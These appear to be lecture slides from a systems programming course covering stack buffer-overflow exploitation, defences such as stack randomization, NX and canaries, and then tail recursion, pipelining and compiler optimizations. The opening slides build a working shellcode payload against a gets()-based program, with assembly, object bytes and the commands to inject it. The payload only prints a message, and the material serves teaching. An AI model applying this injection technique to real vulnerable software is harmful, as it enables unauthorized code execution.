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CS 33
Machine Programming (6)
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Crafting the Exploit ...

• Code + padding
– 96 bytes long

» 80 bytes for buf
» 8 bytes for base pointer
» 8 bytes for return address

Code (in C):
void exploit() {
  write(1, "hacked by twd",
       strlen("hacked by twd"));
  exit(0);
}

return address

buf
(80 bytes)

previous frame

base pointer
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Assembler Code from gcc
.file "exploit.c"

   .section        .rodata.str1.1,"aMS",@progbits,1
.LC0:
   .string "hacked by twd"
   .text
   .globl  exploit
   .type   exploit, @function
exploit:
.LFB19:
   .cfi_startproc
   subq    $8, %rsp
   .cfi_def_cfa_offset 16
   movl    $13, %edx
   movl    $.LC0, %esi
   movl    $1, %edi
   call    write
   movl    $0, %edi
   call    exit
   .cfi_endproc
.LFE19:
   .size   exploit, .-exploit
   .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
   .section .note.GNU-stack,"",@progbits
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Exploit

exploit:  # assume start address is 0x7fffffffe6d0
  subq  $8, %rsp        # needed for syscall instructions
  movl  $13, %edx       # length of string
  movq  $0x7fffffffe6fb, %rsi   # address of output string
  movl  $1, %edi        # write to standard output
  movl  $1, %eax        # do a "write" system call
  syscall
  movl  $0, %edi        # argument to exit is 0
  movl  $60, %eax       # do an "exit" system call
  syscall
str:
.string "hacked by twd"
  nop
  nop
  ...
  nop
.quad 0x7fffffffe6d0
.byte '\n'

26 no-ops
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Actual Object Code
Disassembly of section .text:

0000000000000000 <exploit>:
0:   48 83 ec 08             sub $0x8,%rsp
4:   ba 0e 00 00 00          mov    $0xe,%edx

   9:   48 be fb e6 ff ff ff    movabs $0x7fffffffe6fb,%rsi
  10:   7f 00 00
  13:   bf 01 00 00 00          mov    $0x1,%edi
  18:   b8 01 00 00 00          mov    $0x1,%eax
  1d:   0f 05                   syscall
  1f:   bf 00 00 00 00          mov    $0x0,%edi
  24:   b8 3c 00 00 00          mov    $0x3c,%eax
  29:   0f 05                   syscall

000000000000002b <str>:
  2b:   68 61 63 6b 65          pushq  $0x656b6361
  30:   64 20 62 79             and    %ah,%fs:0x79(%rdx)
  34:   20 74 77 64             and    %dh,0x64(%rdi,%rsi,2)
  38:   00 90 90 90 90          add    %dl,-0x6f6f6f70(%rax)
  . . .
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Using the Exploit

1) Assemble the code

gcc –c exploit.s

2) disassemble it

objdump –d exploit.o > exploit.txt

3) edit object.txt

(see next slide)

4) Convert to raw and input to exploitee

cat exploit.txt | ./hex2raw | ./echo
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Unedited exploit.txt
Disassembly of section .text:

Disassembly of section .text:

0000000000000000 <exploit>:
   0:   48 83 ec 08             sub    $0x8,%rsp
   4:   ba 0d 00 00 00          mov    $0xd,%edx
   9:   48 be fb e6 ff ff ff    movabs $0x7fffffffe6fb,%rsi
  10:   7f 00 00 
  13:   bf 01 00 00 00          mov    $0x1,%edi
  18:   b8 01 00 00 00          mov    $0x1,%eax
  1d:   0f 05                   syscall
  1f:   bf 00 00 00 00          mov    $0x0,%edi
  24:   b8 3c 00 00 00          mov    $0x3c,%eax
  29:   0f 05                   syscall

       . . .
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Edited exploit.txt
48 83 ec 08             /* sub $0x8,%rsp */
ba 0d 00 00 00          /* mov $0xd,%edx */
48 be fb e6 ff ff ff /* movabs $0x7fffffffe6fb,%rsi */
7f 00 00
bf 01 00 00 00          /* mov $0x1,%edi */
b8 01 00 00 00          /* mov $0x1,%eax */
0f 05                   /* syscall */
bf 00 00 00 00          /* mov $0x0,%edi */
b8 3c 00 00 00          /* mov $0x3c,%eax */
0f 05                   /* syscall */
       . . .
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Quiz 1

int main( ) {
char buf[80];

gets(buf);

puts(buf);

return 0;
}

main:
  subq  $80, %rsp  # grow stack
  movq  %rsp, %rdi # setup arg
  call  gets
  movq  %rsp, %rdi # setup arg
  call  puts
  movl  $0, %eax   # set return value
  addq  $80, %rsp  # pop stack
  ret

Exploit Code (in C):
void exploit() {
  write(1, "hacked by twd", 15);
  exit(0);
}

The exploit code is 
executed:

a) on return from 
main

b) before the call to 
gets

c) before the call to 
puts, but after 
gets returns
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ret

Example

buf

ret
locals

Exploit
main 
stack 
frame

gets and 
puts stack 
frames

Exploit Addr
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Defense!

• Donʼt use gets!
• Make it difficult to craft exploits
• Detect exploits before they can do harm
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System-Level Protections

unix> gdb echo
(gdb) break echo

(gdb) run
(gdb) print /x $rsp
$1 = 0x7fffffffc638

(gdb) run
(gdb) print /x $rsp
$2 = 0x7fffffffbb08

(gdb) run
(gdb) print /x $rsp
$3 = 0x7fffffffc6a8

• Randomized stack offsets
– at start of program, allocate random 

amount of space on stack
– makes it difficult for hacker to predict 

beginning of inserted code

• Non-executable code segments
– in traditional x86, can mark region of 

memory as either “read-only” or 
“writeable”

» can execute anything readable
– modern hardware requires explicit 

“execute” permission
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Stack Randomization

• We don't know exactly where the stack is
– buffer is 2000 bytes long
– the start of the buffer might be anywhere between 

7000 and 8000

????

buf
(2000 bytes)

previous frame

7000

9000 ????

buf
(2000 bytes)

previous frame

8000

10000
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NOP Slides

• NOP (No-Op) instructions do nothing
– they just increment %rip to point to the next 

instruction
– they are each one-byte long
– a sequence of n NOPs occupies n bytes

» if executed, they effectively add n to %rip
» execution “slides” through them
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NOP Slides and Stack Randomization

????

buf
(2000 bytes)

previous frame

7000

9000 ????

buf
(2000 bytes)

previous frame

8000

10000

1000-byte 
exploit

1000-byte NOP 
slide

8000 8000

1000-byte 
exploit

1000-byte NOP 
slide
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Stack Canaries
• Idea

– place special value (“canary”) on stack just beyond buffer
– check for corruption before exiting function

• gcc implementation
–  -fstack-protector
–  -fstack-protector-all

unix>./echo-protected
Type a string:1234
1234

unix>./echo-protected
Type a string:12345
*** stack smashing detected ***
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Protected Buffer Disassembly
0000000000001155 <echo>:
    1155:       55                      push   %rbp
    1156:       48 89 e5                mov    %rsp,%rbp
    1159:       48 83 ec 10             sub    $0x10,%rsp
    115d:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1164:       00 00 
    1166:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    116a:       31 c0                   xor    %eax,%eax
    116c:       48 8d 45 f4             lea    -0xc(%rbp),%rax
    1170:       48 89 c7                mov    %rax,%rdi
    1173:       b8 00 00 00 00          mov    $0x0,%eax
    1178:       e8 d3 fe ff ff          callq  1050 <gets@plt>
    117d:       48 8d 45 f4             lea    -0xc(%rbp),%rax
    1181:       48 89 c7                mov    %rax,%rdi
    1184:       e8 a7 fe ff ff          callq  1030 <puts@plt>
    1189:       b8 00 00 00 00          mov    $0x0,%eax
    118e:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
    1192:       64 48 33 14 25 28 00    xor    %fs:0x28,%rdx
    1199:       00 00 
    119b:       74 05                   je     11a2 <main+0x4d>
    119d:       e8 9e fe ff ff          callq  1040 <__stack_chk_fail@plt>
    11a2:       c9                      leaveq 
    11a3:       c3                      retq
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Setting Up Canary

echo:
 . . .
 movq %fs:0x28, %rax # Get canary
 movq %rax, -0x8(%rbp) # Put on stack
 xorl %eax, %eax # Erase canary
 . . .

/* Echo Line */
void echo()
{
    char buf[4];  /* Way too small! */
    gets(buf);
    puts(buf);
}Return address

%rsp

Stack frame
for main

[3][2][1][0]buf

Before call to gets

Canary -0x8(%rbp)
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Checking Canary
/* Echo Line */
void echo()
{
    char buf[4];  /* Way too small! */
    gets(buf);
    puts(buf);
}Return address

%rsp

Stack frame
for main

[3][2][1][0]buf

After call to gets

Canary

echo:
 . . .
 movq -0x8(%rbp), %rax # Retrieve from stack
 xorq %fs:0x28, %rax # Compare with Canary
 je 11a2  # Same: skip ahead
 call __stack_chk_fail # ERROR
.L2:
 . . .

-0x8(%rbp)
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Tail Recursion

int factorial(int x) {
  if (x == 1)

    return x;
  else
    return
      x*factorial(x-1);

}

int factorial(int x) {
  return f2(x, 1);

} 

int f2(int a1, int a2) {
  if (a1 == 1)
    return a2;
  else
    return
      f2(a1-1, a1*a2);

}
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No Tail Recursion (1)

x: 6
return addr

x: 5
return addr

x: 4
return addr

x: 3
return addr

x: 2
return addr

x: 1
return addr
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No Tail Recursion (2)

x: 6
return addr

x: 5
return addr

x: 4
return addr

x: 3
return addr

x: 2
return addr

x: 1
return addr

ret: 1

ret: 2

ret: 6

ret: 24

ret: 120

ret: 720
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Tail Recursion

a1: 6, a2: 1
return addr

ret: 720a1: 5, a2: 6
return addr
a1: 4, a2: 30
return addr
a1: 3, a2: 120
return addr
a1: 2, a2: 360
return addr
a1: 1, a2: 720
return addr
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Code: gcc –O1

f2:

        movl    %esi, %eax

        cmpl    $1, %edi

        je      .L5

        subq    $8, %rsp

        movl    %edi, %esi

        imull   %eax, %esi

        subl    $1, %edi

        call    f2       # recursive call!

        addq    $8, %rsp

.L5:

        rep

        ret
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Code: gcc –O2

f2:

        cmpl    $1, %edi

        movl    %esi, %eax

        je      .L8

.L12:

        imull   %edi, %eax

        subl    $1, %edi

        cmpl    $1, %edi

        jne     .L12

.L8:

        rep

        ret

loop!
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Computer Architecture and 
Optimization (1)

What You Need to Know to Write Better Code
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Simplistic View of Processor

while (true) {
  instruction = mem[rip];
  execute(instruction);
}
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Some Details ...

void execute(instruction_t instruction) {
  decode(instruction, &opcode, &operands);
  fetch(operands, &in_operands);
  perform(opcode, in_operands, &out_operands);
  store(out_operands);

}
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Pipelines

Decode Fetch Perform Store Decode Fetch Perform Store

Decode Fetch Perform Store

Decode Fetch Perform Store

Decode Fetch Perform Store

Decode Fetch Perform Store

Decode Fetch Perform Store
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Analysis

• Not pipelined
– each instruction takes, say, 3.2 nanoseconds

» 3.2 ns latency
– 312.5 million instructions/second (MIPS)

• Pipelined
– each instruction still takes 3.2 ns

» latency still 3.2 ns
– an instruction completes every .8 ns

» 1.25 billion instructions/second (GIPS) throughput
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Hazards ...
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Data Hazards

addq 12(%rbx), %rax
addq $20, %rax
movq 40(%rax), %rsp

Decode 12(%rbx),
%rax addq %rax

Decode $20,
%rax addq %rax

Decode 40(%rax) movq %rsp
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Coping
Decode 12(%rbx),

%rax addq %rax

Decode

$20,
%rax addq %rax

Decode

40(%rax) movq
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Control Hazards

movl $0, %ecx
.L2:
 movl %edx, %eax
 andl $1, %eax
 addl %eax, %ecx
 shrl $1, %edx
 jne .L2 # what goes in the pipeline?
  movl %ecx, %eax
  ...
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Coping: Guess ...

• Branch prediction
– assume, for example, that conditional branches are 

always taken
– but don’t do anything to registers or memory until 

you know for sure
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Modern CPU Design

Execution

Functional
Units

Instruction Control

Integer/
Branch

FP
Add

FP
Mult/Div Load Store

Instruction
Cache

Data
Cache

Fetch
Control

Instruction
Decode

Address

Instructions

Operations

Prediction OK?

DataData

Addr. Addr.

General
Integer

Operation Results

Retirement
Unit

Register
File

Register Updates

M
e
m
o
r
y
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Performance Realities

There’s more to performance than asymptotic complexity

• Constant factors matter too!
– easily see 10:1 performance range depending on how code is 

written
– must optimize at multiple levels: 

» algorithm, data representations, functions, and loops

• Must understand system to optimize performance
– how programs are compiled and executed
– how to measure program performance and identify bottlenecks
– how to improve performance without destroying code 

modularity and generality
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Optimizing Compilers

• Provide efficient mapping of program to machine
– register allocation
– code selection and ordering (scheduling)
– eliminating minor inefficiencies

• Don’t (usually) improve asymptotic efficiency
– up to programmer to select best overall algorithm
– big-O savings are (often) more important than constant 

factors
» but constant factors also matter

• Have difficulty overcoming “optimization blockers”
– potential memory aliasing
– potential function side-effects
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Limitations of Optimizing Compilers

• Operate under fundamental constraint
– must not cause any change in program behavior
– often prevents it from making optimizations that would 

only affect behavior under pathological conditions
• Behavior that may be obvious to the programmer can  

be obfuscated by languages and coding styles
– e.g., data ranges may be more limited than variable types 

suggest
• Most analysis is performed only within functions

– whole-program analysis is too expensive in most cases
• Most analysis is based only on static information

– compiler has difficulty anticipating run-time inputs

• When in doubt, the compiler must be conservative
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Generally Useful Optimizations
• Optimizations that you or the compiler should do 

regardless of processor / compiler

• Code Motion
– reduce frequency with which computation performed

» if it will always produce same result
» especially moving code out of loop

long j;
    long ni = n*i;
    for (j = 0; j < n; j++)
 a[ni+j] = b[j];

void set_row(long *a, long *b,
   long i, long n){
    long j;
    for (j = 0; j < n; j++)
 a[n*i+j] = b[j];
}
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Reduction in Strength

• Replace costly operation with simpler one
• Shift, add instead of multiply or divide

16*x --> x << 4

– utility is machine-dependent
– depends on cost of multiply or divide instruction

» on some Intel processors, multiplies are 3x longer than adds

• Recognize sequence of products

for (i = 0; i < n; i++)
  for (j = 0; j < n; j++)
    a[n*i + j] = b[j];

int ni = 0;
for (i = 0; i < n; i++) {
  for (j = 0; j < n; j++)
    a[ni + j] = b[j];
  ni += n;
}
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Share Common Subexpressions
• Reuse portions of expressions
• Compilers often not very sophisticated in exploiting arithmetic 

properties

/* Sum neighbors of i,j */
up =    val[(i-1)*n + j  ];
down =  val[(i+1)*n + j  ];
left =  val[i*n     + j-1];
right = val[i*n     + j+1];
sum = up + down + left + right;

long inj = i*n + j;
up =    val[inj - n];
down =  val[inj + n];
left =  val[inj - 1];
right = val[inj + 1];
sum = up + down + left + right;

3 multiplications: i*n, (i–1)*n, (i+1)*n 1 multiplication: i*n

leaq   1(%rsi), %rax  # i+1
leaq   -1(%rsi), %r8  # i-1
imulq  %rcx, %rsi     # i*n
imulq  %rcx, %rax     # (i+1)*n
imulq  %rcx, %r8      # (i-1)*n
addq   %rdx, %rsi     # i*n+j
addq   %rdx, %rax     # (i+1)*n+j
addq   %rdx, %r8      # (i-1)*n+j

imulq %rcx, %rsi  # i*n
addq %rdx, %rsi  # i*n+j
movq %rsi, %rax  # i*n+j
subq %rcx, %rax  # i*n+j-n
leaq (%rsi,%rcx), %rcx # i*n+j+n
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Quiz 2

The fastest means for evaluating
n*n + 2*n + 1

requires exactly:
a) 2 multiplies and 2 additions
b) three additions
c) one multiply and two additions
d) one multiply and one addition

Hint: remember high-school algebra


